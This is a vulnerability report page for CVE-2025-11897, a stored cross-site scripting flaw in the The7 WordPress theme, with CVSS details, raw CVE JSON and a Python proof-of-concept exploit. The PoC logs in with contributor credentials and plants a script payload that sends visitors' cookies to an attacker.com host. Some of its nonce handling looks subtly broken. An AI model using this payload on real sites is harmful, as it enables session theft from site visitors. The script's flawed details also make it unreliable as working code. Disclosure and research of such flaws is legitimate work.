Security Vulnerability Report
中文
CVE-2025-11897 CVSS 6.4 MEDIUM

CVE-2025-11897

Published: 2025-10-25 13:15:38
Last Modified: 2026-04-15 00:35:42

Description

The The7 — Website and eCommerce Builder for WordPress theme for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘ the7_fancy_title_css’ parameter in all versions up to, and including, 12.9.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

The7主题 < 12.9.2
The7主题 <= 12.9.1
WordPress The7 theme 所有12.x版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from bs4 import BeautifulSoup # CVE-2025-11897 PoC - The7 Theme Stored XSS # Target: WordPress with The7 Theme < 12.9.2 # Required: Contributor-level access TARGET_URL = 'http://target-wordpress-site.com' USERNAME = 'attacker_username' PASSWORD = 'attacker_password' XSS_PAYLOAD = "'><script>document.location='https://attacker.com/steal?c='+document.cookie</script>" def get_nonce(login_html): """Extract WordPress nonce from login page""" soup = BeautifulSoup(login_html, 'html.parser') nonce_tag = soup.find('input', {'id': '_wpnonce'}) return nonce_tag['value'] if nonce_tag else None def login(): """Authenticate with WordPress""" session = requests.Session() login_url = f'{TARGET_URL}/wp-login.php' login_page = session.get(login_url) nonce = get_nonce(login_page.text) payload = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', '_wpnonce': nonce, 'redirect_to': '/wp-admin/' } resp = session.post(login_url, data=payload) if 'dashboard' in resp.url or resp.status_code == 200: return session return None def inject_xss(session): """Inject XSS payload via The7 theme parameter""" # Target: The7 fancy title CSS parameter # This can be done via theme options or page builder post_url = f'{TARGET_URL}/wp-admin/post.php' headers = { 'Content-Type': 'application/x-www-form-urlencoded' } # Create new page with XSS payload data = { 'action': 'editpost', 'post_type': 'page', 'post_ID': '1', 'the7_fancy_title_css': XSS_PAYLOAD, 'post_title': 'XSS Test Page', '_wpnonce': session.cookies.get('wordpress_test_cookie') } resp = session.post(post_url, data=data, headers=headers) return 'success' in resp.text.lower() def main(): print(f'[*] CVE-2025-11897 PoC - The7 Theme Stored XSS') print(f'[*] Target: {TARGET_URL}') session = login() if not session: print('[-] Authentication failed') sys.exit(1) print('[+] Logged in successfully') if inject_xss(session): print('[+] XSS payload injected successfully') print(f'[*] Payload will execute when page is accessed') else: print('[-] Injection failed') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11897", "sourceIdentifier": "[email protected]", "published": "2025-10-25T13:15:37.907", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The The7 — Website and eCommerce Builder for WordPress theme for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘ the7_fancy_title_css’ parameter in all versions up to, and including, 12.9.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://themeforest.net/item/the7-responsive-multipurpose-wordpress-theme/5556590#item-description__recent-updates", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d26c7cd4-7548-421f-ace0-7f9dce16b0dc?source=cve", "source": "[email protected]"}]}}